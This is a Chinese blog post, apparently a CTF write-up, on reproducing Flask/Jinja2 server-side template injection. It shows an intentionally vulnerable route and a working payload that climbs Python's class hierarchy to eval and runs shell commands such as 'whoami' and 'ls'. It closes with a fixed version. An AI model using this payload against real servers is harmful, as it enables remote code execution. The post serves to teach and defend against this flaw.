FlaskSSTI复现
本文最后更新于:2024年12月14日 下午
Flask SSTI复现
基于jinja2模板的注入漏洞
漏洞成因
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
这是复现漏洞的代码,其中的name未经处理就被写入模板,也就是可以直接传入jinja2模板语言,形成注入。
此时发现传入的参数被当作jinja代码执行了,OK,注入之路开始。
漏洞利用
在jinja2中是可以直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数
我们的究极目的是访问os模块,获得命令执行权限。
此时就可以利用python沙盒逃逸大法。
查阅资料知道有以下特性
__bases__
以元组返回一个类直接所继承的类
__mro__
以元组返回继承关系链
__class__
返回对象所属的类
__globals__
以dict返回函数所在模块命名空间中的所有变量
__subclasses__()
以列表返回类的子类
_builtin_
内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
要执行代码,肯定是第一选择是eval()函数,可以从__builtins__中得到eval函数。
通过本机的环境和脚本查找到一个名叫_IterationGuard
的类
[].__class__.__bases__.__subclasses__()
这串代码的意思是从列表对象获取类,再通过__base__获取其基类,然后通过__subclasses__获得基类的所有子类,然后再在子类中寻找。
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')"
此时直接寻找名为_IterationGuard的类,此时通过这个类来执行eval函数,然后后面引入os模块形成代码执行。
最终的jinja代码为:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{% endif %}
{% endfor %}
成功完成注入。
接下来就是寻找flag,因为对这种题目经验比较少,所以一直找不到flag,尝试了cat find等等,最终发现直接env打印环境变量就能得到flag
flag{e56f2495-b93a-40be-b2cc-7edf6f8593f0}
后记
关于避免jinja注入
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}")
return t.render(n=name)
if __name__ == "__main__":
app.run()
将代码改为以上形式即可避免(避免了直接将name对象当代码执行了)